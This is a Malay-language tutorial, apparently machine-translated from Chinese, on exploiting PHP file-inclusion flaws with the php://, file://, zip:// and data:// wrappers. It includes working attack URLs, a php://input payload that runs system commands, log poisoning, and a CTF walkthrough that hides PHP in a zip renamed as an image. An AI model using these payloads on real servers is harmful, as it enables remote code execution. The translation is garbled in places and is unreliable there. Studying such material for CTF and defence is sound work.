Rumah  >  Artikel  >  pembangunan bahagian belakang  >  Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

WBOY
WBOYke hadapan
2022-05-04 09:00:202428semak imbas

Artikel ini membawakan anda isu berkaitan tentang PHP, yang terutamanya memperkenalkan kandungan yang berkaitan tentang kemasukan fail dan kerentanan pseudo-protokol PHP ialah sejenis "suntikan kod". bersama-sama, saya harap ia akan membantu semua orang.

Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

Kajian yang disyorkan: "Tutorial Video PHP"

Pembendungan Fail

Kerentanan kemasukan fail ialah Sejenis "suntikan kod". Prinsipnya adalah untuk menyuntik skrip atau kod yang pengguna boleh mengawal dan membiarkan pelayan melaksanakannya. Wakil tipikal "suntikan kod" ialah pemasukan fail.

Untuk berjaya mengeksploitasi kerentanan kemasukan fail untuk serangan, dua syarat berikut perlu dipenuhi:

  • Aplikasi web menggunakan include() dan fungsi pemasukan fail lain melalui dinamik perkenalkan fail yang perlu disertakan;

  • Pengguna boleh mengawal pembolehubah dinamik.

Fungsi biasa yang menyebabkan pemasukan fail:
PHP: include(), include_once(), require(), require_once(), dll.; mengandungi Anda boleh terus melaksanakan kod fail yang disertakan, dan format fail yang disertakan tidak tertakluk kepada sebarang sekatan
Empat fungsi pemasukan fail disediakan dalam PHP:
(1) Memerlukan: Ralat maut akan berlaku apabila fail yang disertakan tidak dapat ditemui. (E_COMPILE_ERROR) dan hentikan skrip; 3) Require_once: Sama seperti include, ia akan menjana Amaran, bezanya jika kod fail telah dimasukkan, ia tidak akan disertakan lagi; -protokol sebenarnya adalah protokol dan protokol enkapsulasi yang disokongnya. Protokol yang disokongnya ialah:


all_url_include telah ditambahkan selepas PHP 5.2 Tetapan yang selamat dan mudah (tetapan lalai php) ialah: allow_url_fopen=on;all_url_include= off. ;

allow_url_fopen = Hidup (benarkan membuka fail URL, didayakan secara lalai)

allow_url_fopen = Mati (lumpuhkan membuka fail URL)
file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流
allow_url_include = Mati (lumpuhkan rujukan fail URL, versi baharu menambah ciri, dilumpuhkan secara lalai)

allow_url_include = Hidup (benarkan rujukan kepada fail URL, versi baharu menambah fungsi)Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

protokol fail


fail:// Sistem fail ialah protokol pengkapsulan lalai digunakan oleh PHP. Menunjukkan sistem fail tempatan.

Gunakan file:// protokol untuk memasukkan phpinfo.php tempatan

Protokol PHP

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

php:// mengakses pelbagai aliran input/output (strim I/O php://filter dan php://inputMari analisa kemasukan fail dan penggunaan pseudo-protocol PHP sering digunakan dalam CTF: //filter digunakan untuk membaca kod sumber:

php://input digunakan untuk melaksanakan kod php.
php://filter memerlukan pengekodan base64 apabila membaca fail php


php://input

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
allow_url_include = On


Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHPphp://input [POST DATA] laksanakan kod php
memerlukan ***allow_url_include = On***


allow_url_include = Mati

http://localhost/www/lfi.php?file=php://input

POST	<?system (&#39;ipconfig&#39;)?>

Walau bagaimanapun, dalam kebanyakan kes, allow_url_include dimatikan secara lalai dan Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP tidak boleh mengandungi data POST dalam kes ini, log apache atau log ralat boleh disertakan

    Pertama sekali, kita perlu menggunakan kaedah fuzz untuk mengeluarkan laluan log
  1. Untuk kemudahan ujian, saya terlebih dahulu mengosongkan kandungan log untuk memudahkan demonstrasi

Akses URL dan laporkan ralat Tulis kod ke dalam log
Nota: Anda perlu menggunakan burp packet capture di sini untuk mengakses, jika tidak, kod akan dikodkan URL dan ditulis ke dalam log dan tidak boleh dilaksanakan

Anda juga boleh menulis kod ke dalam ejen pengguna



Laluan log saya ialah:
http://localhost/www/lfi.php?file=<?php  phpinfo();?>
F:phpstudyphpstudy_proExtensionsApache2.4.39 logsaccess.log.1631750400

Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHPGunakan fail:// Gunakan pseudo-protocol untuk membaca log dan mendapati phpinfo telah berjaya dilaksanakan

Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

zip://protocol

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

** zip:// & bzip2:// & zlib:// ** semuanya strim termampat dan boleh mengakses subfail dalam fail termampat. Lebih penting lagi, tidak perlu menentukan nama akhiran dan boleh diubah suai kepada mana-mana akhiran: jpg png gif xxx dll. Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

Berikut ialah analisis kes CTF yang menggabungkan muat naik fail dan kemasukan fail

Mula-mula analisa kod sumber muat naik fail

file:
 

分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

Tips: the parameter is file! :) <!-- upload.php --><?php     @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match(&#39;/http|data|ftp|input|%00/i&#39;, $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。

综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名,

test.php中写入木马

<?phpphpinfo ();?>

如下图所示
Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

data://

条件:

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php  phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP

推荐学习:《PHP视频教程

Atas ialah kandungan terperinci Mari analisa kemasukan fail dan penggunaan pseudo-protocol PHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:csdn.net. Jika ada pelanggaran, sila hubungi admin@php.cn Padam